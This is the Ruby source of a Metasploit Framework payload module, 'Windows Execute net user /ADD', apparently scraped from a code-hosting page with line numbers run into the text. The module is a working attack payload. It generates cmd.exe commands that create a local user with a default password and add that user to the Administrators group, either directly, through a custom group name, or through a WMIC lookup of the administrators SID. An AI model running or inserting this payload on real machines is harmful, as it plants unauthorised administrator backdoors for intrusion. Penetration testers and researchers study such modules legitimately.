Path: blob/master/modules/payloads/singles/windows/adduser.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45###6#7# Extends the Exec payload to add a new user.8#9###10module MetasploitModule11CachedSize = 2821213include Msf::Payload::Windows::Exec1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Windows Execute net user /ADD',20'Description' => %q{21Create a new user and add them to local administration group.2223Note: The specified password is checked for common complexity24requirements to prevent the target machine rejecting the user25for failing to meet policy requirements.2627Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)28},29'Author' => ['hdm', 'Chris John Riley'],30'License' => MSF_LICENSE,31'Platform' => 'win',32'Arch' => ARCH_X86,33'Privileged' => true34)35)3637# Register command execution options38register_options(39[40OptString.new('USER', [ true, 'The username to create', 'metasploit' ]),41OptString.new('PASS', [ true, 'The password for this user', 'Metasploit$1' ]),42OptString.new('CUSTOM', [ false, 'Custom group name to be used instead of default', '' ]),43OptBool.new('WMIC', [ true, 'Use WMIC on the target to resolve administrators group', false ]),44]45)4647register_advanced_options(48[49OptBool.new('COMPLEXITY', [ true, 'Check password for complexity rules', true ]),50]51)5253# Hide the CMD option...this is kinda ugly54deregister_options('CMD')55end5657#58# Override the exec command string59#60def command_string61user = datastore['USER'] || 'metasploit'62pass = datastore['PASS'] || ''63cust = datastore['CUSTOM'] || ''64wmic = datastore['WMIC']65complexity = datastore['COMPLEXITY']6667if (pass.length > 14)68raise ArgumentError, 'Password for the adduser payload must be 14 characters or less'69end7071if complexity && pass !~ (/\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/)72raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"73end7475if !cust.empty?76print_status("Using custom group name #{cust}")77return "cmd.exe /c net user #{user} #{pass} /ADD && " \78"net localgroup \"#{cust}\" #{user} /ADD"79elsif wmic80print_status('Using WMIC to discover the administrative group name')81return 'cmd.exe /c "FOR /F "usebackq tokens=2* skip=1 delims==" ' \82"%G IN (`wmic group where sid^='S-1-5-32-544' get name /Value`); do " \83'FOR /F "usebackq tokens=1 delims==" %X IN (`echo %G`); do ' \84"net user #{user} #{pass} /ADD && " \85"net localgroup \"%X\" #{user} /ADD\""86else87return "cmd.exe /c net user #{user} #{pass} /ADD && " \88"net localgroup Administrators #{user} /ADD"89end90end91end929394